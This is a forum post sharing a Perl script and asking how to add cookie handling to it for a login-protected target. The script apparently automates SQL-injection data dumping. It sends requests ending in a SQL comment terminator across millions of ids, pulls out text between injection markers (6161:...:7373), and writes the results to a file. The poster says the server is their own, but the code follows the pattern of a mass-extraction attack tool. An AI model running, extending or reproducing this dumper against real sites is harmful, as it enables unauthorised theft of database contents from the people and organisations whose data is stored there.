Embedding Cookies In Perl

This will dump data from my server using perl
but I added login/pass and I don't know how to embedd cookies
can someone help ?
Thanks

#!/usr/bin/perl
use strict;
use threads;
use threads::shared;
use LWP::UserAgent;
system ("color E");
system ("Greedx");
################################################
my $link = "";
################################################
my $delay   = 1;
my $threads = 1;
my $ends = "-- -";
my ($dat,$out);
my @trl;
my @count : shared = (6000000..60000000);
for(0..$threads) {$trl[$_] = threads->create(\&main, $_);}
for(@trl) { $_->join; }
sub main
{
    while(@count)
    {
        my $ua = LWP::UserAgent->new;
        my $id = shift @count;
        my $an = $ua->get("$link$id$ends")->content;
        sleep $delay;
        if($an =~ /6161:(.*?):7373/i)
        {
            my $dump = $1;
            print "[ $id ] $dump\n";
            open $dat, '>>', $out = "Dumped-Data.txt";
            print $dat "$dump\n";
        }
    }
}

Select allOpen in new window